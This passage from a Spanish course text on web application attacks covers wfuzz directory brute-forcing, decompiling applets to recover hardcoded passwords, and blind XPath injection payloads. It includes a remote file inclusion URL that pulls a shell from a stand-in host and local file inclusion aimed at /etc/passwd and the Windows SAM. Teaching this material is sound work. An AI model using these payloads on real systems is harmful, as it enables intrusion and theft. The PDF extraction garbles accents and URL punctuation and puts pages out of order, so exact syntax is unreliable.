puerta de una casa para que dado el caso podamos entrar si hemos perdido

nuestra llave Evidentemente esto no es nada seguro pues cualquier persona

que la encuentre podraacute acceder al igual que nosotros a nuestra casa

Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web

Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-

vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida

de ficheros temporales Algunas de las maacutes comunes son

bull admin

bull logs

bull uploads

bull phpmyadmin

bull tmp

Estos directorios se pueden descubrir mediante pruebas manuales o haciendo

uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros

En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con

nombres conocidos

Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-

tituyendo en la zona de la URL que nosotros especifiquemos una cadena de

texto que va cogiendo liacutenea tras liacutenea de un fichero de texto

Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-

tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta

Vamos a aprender a usarla pues la sintaxis es simple

wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ

La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va

a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la

hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros

estaremos indicaacutendole al programa que

bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-

tas que vamos a buscar se van a coger desde un fichero de texto

(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas

CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web

bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado

el fichero commontxt que acompantildea al programa y que contiene una lista

de los nombres maacutes comunes de directorios ocultos

bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del

programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha

usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo

HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y

palabras (--hw) que contiene una paacutegina por si nos encontramos con un

servidor que devuelva siempre una paacutegina con coacutedigo 200

bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-

raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-

chero especificado

Figura 47 Resultado de la ejecucioacuten del programa Wfuzz

En la imagen anterior apreciamos coacutemo el programa ha detectado una serie

de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo

y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de

seguridad

Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la

buacutesqueda del fichero robotstxt Este fichero es usado por los administradores

de sitios web para evitar que Google y otros buscadores indexen zonas que

no desean

CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web

Figura 48 Ejemplo de fichero robotstxt

El problema es que mucha gente no entiende completamente el concepto de

este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen

aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-

res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos

encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-

nistrativas de pruebas privadas

Otro fichero que puede darnos mucha informacioacuten y que al contrario de

los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero

sitemapxml es un fichero propuesto por Google como una manera de indi-

carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y

cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos

descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital

importancia pues nos ahorra tiempo en navegar por el sitio y con una sola

peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten

se muestra un ejemplo de un fichero sitemapxml

ltxml version=10 encoding=UTF-8gt

lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt

lturlgt

ltlocgthttpwwwacomltlocgt

ltlastmodgt2005-01-01ltlastmodgt

ltchangefreqgtmonthlyltchangefreqgt

ltprioritygt08ltprioritygt

lturlgt

lturlgt

ltlocgthttpwwwacomnewsltlocgt

ltchangefreqgtweeklyltchangefreqgt

lturlgt

lturlgt

ltlocgthttpwwwacomarchiveltlocgt

ltlastmodgt2004-12-23ltlastmodgt

changefreqgtweeklyltchangefreqgt

CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web

lturlgt

lturlgt ltlocgthttpwwwacomfaqltlocgt

ltlastmodgt2004-12-23T180015+0000ltlastmodgt

ltprioritygt03ltprioritygt

lturlgt

lturlgt ltlocgthttpwwwacomaboutltlocgt

ltlastmodgt2004-11-23ltlastmodgt

lturlgt

lturlsetgt

61 Descompiladores de applets web

611 Flash

Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una

interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas

que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-

sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-

cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo

aunque a veces ocurre

Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente

han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros

proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de

coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos

se pueden observar faacutecilmente usando un sniffer del protocolo HTTP

Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio

en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver

el coacutedigo fuente del fichero Flash

CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web

Figura 49 Captura del fichero mp3 reproducido desde unreproductor web

Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando

lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo

actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-

samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-

donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un

fichero Flash

Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar

coacutemo realizar esto mediante el programa Flasm de descarga gratuita

La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-

lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-

rigir hacia un fichero de texto la salida del programa En este ejemplo vamos

a realizar la accioacuten con un pequentildeo juego Flash

Figura 50 Ejecucioacuten del comando flasmexe

Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra

extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador

(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf

CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web

Figura 51 Volcado del coacutedigo del fichero swf

Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo

funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las

URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten

Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los

fallos de seguridad comentados en capiacutetulos anteriores

612 Java

Al igual que con los ficheros Flash aunque con menos popularidad en la ac-

tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-

cutan dentro de nuestro navegador

Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo

en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene

muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto

tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-

mos en Flash

Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos

muestran el coacutedigo Java original En la captura siguiente el programa usado

es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-

ciones

CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web

Figura 52 Pantalla principal del Java Decompiler

613 NET

Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones

ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar

maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-

dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-

do NET que se carga desde el servidor mediante un plugin en nuestro navega-

dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de

la aplicacioacuten Silverlight

Figura 53 Aplicacioacuten de muestra de Silverlight

CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web

En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple

Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute

programada para que compruebe los datos introducidos con unos datos que

estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y

vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea

vaacutelidos El detalle de coacutedigo Javascript seriacutea

Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo

HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero

contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-

vegador interprete

El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del

programa Estos ficheros son compilados de NET y pueden ser analizados me-

diante programas como NET Reflector Los ficheros contenidos en este fiche-

ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor

pues realmente es un fichero ZIP

Figura 54ndash Fichero xap descomprimido

Una vez descomprimido se nos muestran una serie de archivos Estos archivos

contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero

realmente los datos importantes se encuentran en el fichero Test001dll (en el

ejemplo actual) Este fichero puede ser descompilado mediante el programa

indicado anteriormente y acceder al coacutedigo fuente interno En este caso se

observan dos clases principales App y MainPage

CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web

Figura 55 Detalle del programa descompilado

En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-

do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten

de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el

nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo

Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera

forma de poner un contenido de una manera maacutes vistosa para el usuario Sin

embargo a veces los desarrolladores web lo usan como un lenguaje de progra-

macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro

CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web

Bibliografiacutea

Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox

Clarke J (2009) SQL Injection Attacks and defense E Syngress

Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress

Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media

Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley

  • Ataques a aplicaciones web
    • Iacutendice
    • 1 Ataques de inyeccioacuten de scripts
      • 11 Cross site scripting (XSS)
        • 111 Ataques
        • 112 Meacutetodos para introducir XSS (cross site scripting)
        • 113 Diseccionando un ataque
        • 114 Filtros XSS
          • 12 Cross Site Request Forgery (CSRF)
          • 13 Clickjacking
            • 2 Ataques de inyeccioacuten de coacutedigo
              • 21 LDAP Injection
                • 211 LDAP Injection con ADAM de Microsoft
                • 212 LDAP Injection con OpenLDAP
                • 213 Conclusiones
                • 214 ldquoORrdquo LDAP Injection
                • 215 ldquoANDrdquo LDAP Injection
                  • 22 Blind LDAP Injection
                    • 221 Blind LDAP Injection en un entorno ldquoANDrdquo
                    • 222 Reconocimiento de clases de objetos de un aacuterbol LDAP
                    • 223 Blind LDAP Injection en un entorno ldquoORrdquo
                    • 224 Ejemplos Blind LDAP Injection
                      • 23 XPath
                        • 231 XPath injection y Blind XPath Injection
                        • 232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
                            • 3 Ataques de Path Transversal
                              • 31 Path Disclosure
                                • 4 Ataques de inyeccioacuten de ficheros
                                  • 41 Remote file inclusion
                                  • 42 Local file inclusion
                                  • 43 Webtrojans
                                    • 5 Google Hacking
                                    • 6 Seguridad por ocultacioacuten
                                      • 61 Descompiladores de applets web
                                        • 611 Flash
                                        • 612 Java
                                        • 613 NET
                                            • Bibliografiacutea
Page 50: Ataques a Aplicaciones Web

CC-BY-NC-ND bull PID_00191662 50 Ataques a aplicaciones web

En este caso nos encontramos claramente ante una aplicacioacuten vulnerable a

Blind XPath Injection pero si aun asiacute queremos estar seguros de que se trata de

un motor XML y no SQL podemos utilizar funciones como count() la

cual devuelve el nuacutemero total de nodos en el aacuterbol que siempre deberiacutea tener

al menos 1 nodo

bull Inyeccioacuten de cadena alsquo or count()gt0 or lsquoarsquo=rsquob

bull Inyeccioacuten numeacuterica 0 or count()gt0 or 1=1

Tambieacuten es posible la utilizacioacuten de operadores OR en mayuacutesculas ya que

estos no son aceptados en buacutesquedas XML y siacute que lo son en buacutesquedas SQL

(estas admiten operadores tanto en minuacutesculas como en mayuacutesculas) de tal

modo que se podriacutea concluir si el motor de buacutesqueda trabaja con XML

bull Motor SQL lsquo OR 1=1 OR lsquorsquo=rsquo

bull Motor SQLXML lsquo or 1=1 or lsquorsquo=rsquo

Si con esta prueba obtenemos un resultado positivo no hay duda de que es un

sistema XML es vulnerable y ademaacutes es posible extraer todo el aacuterbol XML

iquestcoacutemo utilizando teacutecnicas de ldquobooleanizacioacutenrdquo

El primer paso a la hora de empezar un ataque para descargarse el aacuterbol seriacutea

sacar los valores del nodo raiacutez que contiene el resto de los nodos Los pasos

que habriacutea que realizar seriacutean los siguientes

1) Extraer el nombre del nodo

2) Extraer los atributos del nodo

3) Comprobar si es un elemento3 En caso positivo obtener el valor

4) Calcular el nuacutemero de nodos hijos que contiene el nodo que se estaacute anali-

zando

5) Volver a realizar el paso lsquo1rsquo con los nodos extraiacutedos en el paso lsquo4rsquo

Para extraer el nombre del nodo primero seriacutea necesario calcular el nuacutemero de

caracteres del mismo Esto se puede hacer utilizando la funcioacuten string-length

[PATH]childnode()[position()=[NUMNODO] and string-length (name())gt[NUMERO]]

Donde [PATH] seriacutea el nodo a analizar [NUMNODO] el nuacutemero de nodo (ya

que puede haber varios nodos con el mismo nombre dentro del mismo padre)

y [NUMERO] seriacutea la longitud del nombre del nodo De este modo utilizando

fuerza bruta y teacutecnicas de optimizacioacuten como la buacutesqueda binaria seriacutea posi-

ble sacar la longitud del nombre de la siguiente manera

(3)Si el nodo es un elemento nopuede contener subnodos por loque los pasos 4 y 5 no se realiza-riacutean

CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web

or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =

or childnode()[position()=1 and string-length(name())=8] or 1=1 and =

Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar

el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-

cioacutenrdquo e imaginacioacuten

or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()us)] and =

or childnode()[position()=1 and starts-with(name()usu)] and =

Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de

caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-

ma que seriacutea la longitud del nombre extraiacuteda inicialmente

Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-

mos pero variando la consulta XPath con las siguientes plantillas

1) Para extraer informacioacuten referente a los nodos

bull Longitud del nombre

[PATH]childnode()[position()=[NUMNODO] and

string-length(name())gt[NUMERO]]

bull Nombre del nodo

[PATH]childnode()[position()=[NUMNODO] and

starts-with(name()[VALORES])]

bull Nuacutemero de subnodos

count([PATH]childnode())gt[NUMERO]

2) Para extraer la informacioacuten de los atributos

bull Nuacutemero de atributos de un nodo

count([PATH]childnode()[[NUMNODO]])gt[NUMERO]

CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web

bull Longitud del nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT] and

string-length(name())gt[NUMERO]])gt0

bull Longitud del valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]

bull Nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and

starts-with(name()[VALORES])

bull Valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

starts-with([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]] [VALORES])

3) Para extraer el contenido de un nodo los elementos

bull Longitud del elemento

string-length([PATH]childtext())gt[NUMERO]

bull Valor del elemento

starts-with([PATH]childtext()[VALORES])

Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero

para ello ya existen herramientas que hacen este proceso de forma automaacuteti-

ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset

para encontrar los datos realizando un reducido nuacutemero de consultas

Implementar una reduccioacuten de charset es algo simple basta con hacer una

query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-

mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-

set Esto puede hacerse con la siguientes query

[contains(name() a)] or [contains(name() a)]

or attribute[contains(a)] or contains( a)

Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset

de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado

a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a

realizar pues ya sabremos que nunca va a aparecer

CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web

Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el

de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-

mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-

mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya

extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable

que si tienen la misma longitud tengan el mismo nombre

En la siguiente imagen se muestra una herramienta en funcionamiento una

vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable

Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada

232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection

La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de

la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un

filtrado de las entradas teniendo en cuenta dos factores

bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor

introducido en la entrada es un valor numeacuterico y no una cadena de texto

bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-

lla simple y doble por rsquo y rdquo

CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web

3 Ataques de Path Transversal

Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-

formacioacuten referente al servidor desde simplemente el directorio donde

se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del

servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos

por separado

La informacioacuten obtenida puede ser usada por un atacante para lograr acceder

a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-

ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder

a ellos

Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo

coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen

unos de los otros y realmente estaacuten muy relacionados entre siacute

31 Path Disclosure

Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en

cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-

ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a

un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-

mente

El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-

cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)

que contengan rutas a ficheros Esto lo lograremos introduciendo carac-

teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan

Figura 42 Fallo de Path Disclosure

CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web

Este mensaje de error puede darse al intentar reproducir cualquiera de los de-

maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-

macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten

un mensaje de error predefinido que usualmente contiene la ruta del fichero

afectado

Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-

nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es

buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-

tren nunca al usuario

CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web

4 Ataques de inyeccioacuten de ficheros

41 Remote file inclusion

Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo

remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al

igual que es posible cargar un fichero local para su inclusioacuten dentro de la

paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso

Esto es posible en lenguajes interpretados donde podemos incluir un fichero

con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como

base una paacutegina programada en PHP

httpwwwmipaginacommostrarphppag=indexphp

PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos

para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo

anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP

que permiten la inclusioacuten dinaacutemica de ficheros

bull include($pag)

bull require($pag)

bull include_once($pag)

bull require_once($pag)

Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-

dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-

temente controlada podremos hacer una llamada a un fichero externo que se

descargaraacute e interpretaraacute en el lado del servidor

httpwwwmipaginacommostrarphppag=httpmalocomshelltxt

En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el

fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en

mipaginacom

Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la

inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-

bicioacuten total de realizar estas acciones

CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web

Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos

buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc

php5phpini) y establecer la clave de configuracioacuten allow_url_include

a false

Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-

quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva

Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-

cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una

completa shell equipada con su propio explorador de ficheros opciones pa-

ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en

el equipo remoto

Figura 43 Shell remota ejecutaacutendose

Existe una gran variedad de shells remotas que podemos encontrar en Internet

Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen

otras como la r57 o c100 De todas maneras siempre podemos programarnos

una propia con la funcionalidad que necesitemos

42 Local file inclusion

Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-

pilados como interpretados Se basa en la posibilidad de incluir dentro de la

paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-

ciones web que tenga permisos de lectura

Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele

ser maacutes comuacuten en dos sitios bien diferenciados

bull Paacuteginas de plantillas carga un fichero desde otro y le da formato

CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web

bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a

descargar y lo enviacutea al cliente

El concepto tras ambos fallos es el mismo y las implementaciones defectuo-

sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera

satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-

ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior

usando los caracteres en sistemas Linux o en sistemas Windows maacutes

el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-

pechamos que la siguiente URL tiene un fallo de local file inclusion

httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp

Entonces para corroborarlo y determinar que efectivamente nos encontramos

frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que

quedase como sigue

httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp

Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-

nerable a local file inclusion

Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el

concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten

web y empezar a incluir ficheros del propio sistema operativo Esto nos per-

mitiraacute obtener maacutes informacioacuten sobre el equipo

Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path

Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican

estos De todas maneras y si no sabemos la ruta relativa de un fichero frente

a la paacutegina vulnerable podemos usar las rutas directas4

Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica

dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-

tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros

como muestra de la informacioacuten que podemos llegar a obtener

bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-

pendio de los usuarios existentes asiacute como datos relativos a ellos como

nombre o directorio del home

bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele

contener una lista de nombre e IPS internos que nos permiten obtener una

mejor idea de la estructura interna de una organizacioacuten

bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres

de usuarios y claves de los usuarios de un sistema Windows En la carpeta

(4)Una ruta directa es la que inclu-ye todo el nombre del fichero

CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web

Repair se almacena una copia del fichero SAM para poder recuperarla en

caso de error del sistema

bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero

vulnerable mediante el fallo de local file inclusion para poder aprender de

los problemas de otros

Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en

montar el servidor con el miacutenimo privilegio posible limitando la posibilidad

de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-

gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios

de la aplicacioacuten

Figura 44 Ejemplo de local file inclusion

Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-

larlo mediante permisos en el servidor hay que tener en cuenta que las rutas

a ficheros se pueden escribir de dos maneras

bull Directa Escribimos la ruta donde se encuentra el fichero directamente

Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados

por los usuarios

bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores

mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes

de lo anterior los puntos

43 Webtrojans

Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente

complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos

en PDF ficheros de viacutedeo etc

Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos

enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un

fichero con una imagen es necesario comprobar que lo que recibimos es real-

mente una imagen y no otro tipo de fichero

CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web

Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando

en nuestro servidor un fichero malintencionado conocido como webtrojan5

Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-

quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen

desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo

dentro de otros ficheros

El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras

una cabecera de una imagen donde algunos servidores son capaces de ejecutar

el coacutedigo

Figura 45 Webtrojan oculto dentro de un fichero GIF

En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor

de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para

subir cualquier tipo de fichero

Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-

tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo

que nosotros hemos permitido Una buena praacutectica es la de establecer noso-

tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben

evitando que alguien pueda subir un fichero y establecerlo con extensiones

como ASP o PHP

(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad

CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web

5 Google Hacking

Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas

privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea

accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general

los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus

propietarios saben que se encuentra ahiacute

Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la

informacioacuten que nos interesa es muy importante permitieacutendonos recopilar

mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio

ninguna peticioacuten al servidor en cuestioacuten

